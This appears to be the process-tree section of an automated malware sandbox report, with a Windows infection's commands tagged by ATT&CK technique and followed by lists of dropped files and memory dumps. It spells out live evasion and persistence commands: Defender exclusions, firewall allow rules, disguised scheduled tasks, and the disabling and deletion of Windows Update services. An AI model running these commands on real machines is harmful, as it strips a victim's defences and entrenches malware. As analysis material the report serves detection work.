C:\Windows\system32\a\namu864.exenamu864.exe3⤵
-
-
C:\Windows\system32\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i UVSODSAE.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i AUHAVKIQ.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\IMG001.exeIMG001.exe3⤵
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\system32\a\fscan32.exefscan32.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Receipt_11_26_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\a\%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11432 -s 15044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11432 -s 15044⤵
- Program crash
-
-
-
C:\Windows\system32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\system32\a\37cqsj.exe37cqsj.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Windows\system32\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\system32\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\1210.exe1210.exe3⤵
-
-
C:\Windows\system32\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9C7910C87D90FB1113D07F9DA66F2BB8 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA9B3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240769750 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 817CCFCFC8ADF04EAA58353BA5C520F2 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5DA836BF7DAA9215AE6F656F10D6C656 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding AC04E0B7D738CCB54C9AB5A00DB1E907 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 61C4FCF85BA8FBA11CF971330ED62545 C2⤵
-
-
C:\Windows\explorer.exe"explorer.exe" "C:\Users\Admin\AppData\Local\sysupdate\tango47.cmd"2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' -ExclusionProcess 'diskdiag.exe' -ExclusionExtension '.exe' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Windows Disk Diagnostic Infrastructure" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" enable=yes profile=any2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Windows Disk Diagnostic Infrastructure" dir=out action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" enable=yes profile=any2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Logon_Init" /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" /SC ONLOGON /RL HIGHEST2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Health_Audit" /TR "'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' --disk-diag-svc" /SC MINUTE /MO 5 /RL HIGHEST2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3780 -ip 37801⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\a\file_4b8d61b5a6f660b5.exeC:\Windows\system32\a\file_4b8d61b5a6f660b5.exe1⤵
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exeC:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe1⤵
-
C:\Users\Admin\AppData\Roaming\BackupBA27\NetServicea276a.exeC:\Users\Admin\AppData\Roaming\BackupBA27\NetServicea276a.exe1⤵
-
C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exeC:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe1⤵
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config UsoSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\njewvgtgtx" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\yurslbsrqf" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wuauserv start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\wemwhqwotd" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config BITS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop BITS2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\zielghrogd" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f2⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config dosvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\vjxrkwpxam" /s /f2⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable2⤵
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 02⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 02⤵
- Power Settings
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable2⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable2⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e599ab0.exe"C:\Users\Admin\AppData\Local\Temp\sx0e599ab0.exe"1⤵
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exeC:\Users\Admin\AppData\Local\Temp\a\Notepad.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"2⤵
-
-
C:\Users\Public\Documents\res\msword.exe"C:\Users\Public\Documents\res\msword.exe"1⤵
-
C:\Windows\system32\cmd.execmd.exe /c schtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "MicrosoftEdgeUpdateTaskUser" /TR "\"C:\Users\Public\Documents\res\msword.exe\"" /SC ONLOGON /RL LIMITED3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exeC:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\System32\nslookup.exe"C:\Windows\System32\nslookup.exe"1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\Users\Admin\AppData\Roaming\BackupBA27\NetServicea276a.exeC:\Users\Admin\AppData\Roaming\BackupBA27\NetServicea276a.exe1⤵
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exeC:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\sysupdate\tango47.cmd" "2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + 'Victor_runner3.ps1""') -WindowStyle Hidden"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 10880 -ip 108801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 13740 -ip 137401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 11432 -ip 114321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13740 -s 1441⤵
- Program crash
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
3Service Execution
3Persistence
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Installer Packages
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Ignore Process Interrupts
1Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
e5a8782.rbs
hg.dat
W52UE52XBY31.exe
background.exe
bridge-agent.log
bridge-agent.log
bridge-agent.log
bridge-agent.log
settings.dat
background.ts-D6ogNSgd.js
manifest.json
BridgeAgent.exe
BridgeAgent.exe
7mdbk16c.exe
AutoIt3.exe
MSI560F.tmp
MSID89.tmp
Tmp6F94.tmp
LICENSE
LICENSE.APACHE
LICENSE.BSD
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
INSTALLER
__PSScriptPolicyTest_repg5ljw.bdb.ps1
02.08.2022.exe
118.exe
4J8576A0E8V3.exe
6eq5gvOfRvNmCi54.exe
9z7BGnRGpgs8cZv7.exe
mKM65Cf6QNqeOVw9.exe
php.exe
rock.exe
svc.exe
ksapi.dll
ondlrvesxx.vbs
sx0e5a7b1d.exe
~DF1f4.tmp
Windows Manager - Postback Johan.msi
RuntimeBroker_svc.exe
wlrmdr.exe
SecurityHealthSystray.exe
DCAgentServerInfo.json
DMRootCA-Server.crt
DMRootCA.crt
README.html
UEMSAgent.msi
UEMSAgent.mst
setup.bat
setup1.vbs
lib.dll
sys.dll
e5a8783.msi
02.08.2022.exe
TempSpoofer.exe
namu864.exe
namuvpnxp.exe
cache.txt
cache.txt
cache.txt
cache.txt
memory/392-364-0x0000000070180000-0x000000007022A000-memory.dmp
memory/1120-471-0x0000000140000000-0x000000014014E000-memory.dmp
memory/1120-460-0x0000000000020000-0x0000000000021000-memory.dmp
memory/1156-698-0x00007FFF794B0000-0x00007FFF794B2000-memory.dmp
memory/1156-719-0x00000000001D0000-0x00000000001D1000-memory.dmp
memory/1156-699-0x0000000140000000-0x00000001408E9000-memory.dmp
memory/1280-578-0x00007FF645A20000-0x00007FF645A3F000-memory.dmp
memory/1592-576-0x0000000190000000-0x00000001901DC000-memory.dmp
memory/1592-813-0x0000000190000000-0x00000001901DC000-memory.dmp
memory/1876-299-0x00007FF7194F0000-0x00007FF71950F000-memory.dmp
memory/2564-291-0x0000000070180000-0x000000007022A000-memory.dmp
memory/2788-1227-0x00000000005D0000-0x00000000005E0000-memory.dmp
memory/2848-255-0x0000000180000000-0x0000000180005000-memory.dmp
memory/2848-249-0x000001BCFAE50000-0x000001BCFAE52000-memory.dmp
memory/3036-222-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-224-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-212-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-214-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-213-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-221-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-223-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-218-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-219-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3036-220-0x000002D9B4640000-0x000002D9B4641000-memory.dmp
memory/3284-461-0x00000000024F0000-0x00000000024F1000-memory.dmp
memory/3284-568-0x0000000001F60000-0x0000000001F61000-memory.dmp
memory/3284-819-0x0000000002730000-0x0000000002731000-memory.dmp
memory/3284-782-0x0000000001F80000-0x0000000001F81000-memory.dmp
memory/3284-292-0x00000000024B0000-0x00000000024B1000-memory.dmp
memory/3284-415-0x00000000024C0000-0x00000000024C1000-memory.dmp
memory/3284-414-0x0000000002490000-0x0000000002491000-memory.dmp
memory/3780-466-0x00000000050D0000-0x000000000515C000-memory.dmp
memory/3780-468-0x0000000005180000-0x000000000532A000-memory.dmp
memory/3780-463-0x0000000002B50000-0x0000000002B58000-memory.dmp
memory/3780-465-0x0000000005480000-0x0000000005770000-memory.dmp
memory/3780-467-0x0000000002CE0000-0x0000000002D02000-memory.dmp
memory/3780-470-0x0000000005D20000-0x00000000062C4000-memory.dmp
memory/4064-676-0x0000000170000000-0x0000000170252000-memory.dmp
memory/4064-607-0x0000000170000000-0x0000000170252000-memory.dmp
memory/4064-697-0x0000000170000000-0x0000000170252000-memory.dmp
memory/4064-696-0x0000000170000000-0x0000000170252000-memory.dmp
memory/4648-566-0x0000000220000000-0x000000022025A000-memory.dmp
memory/4648-505-0x0000000220000000-0x000000022025A000-memory.dmp
memory/4920-298-0x00007FF645A20000-0x00007FF645A3F000-memory.dmp
memory/4944-784-0x0000000140000000-0x0000000140031000-memory.dmp
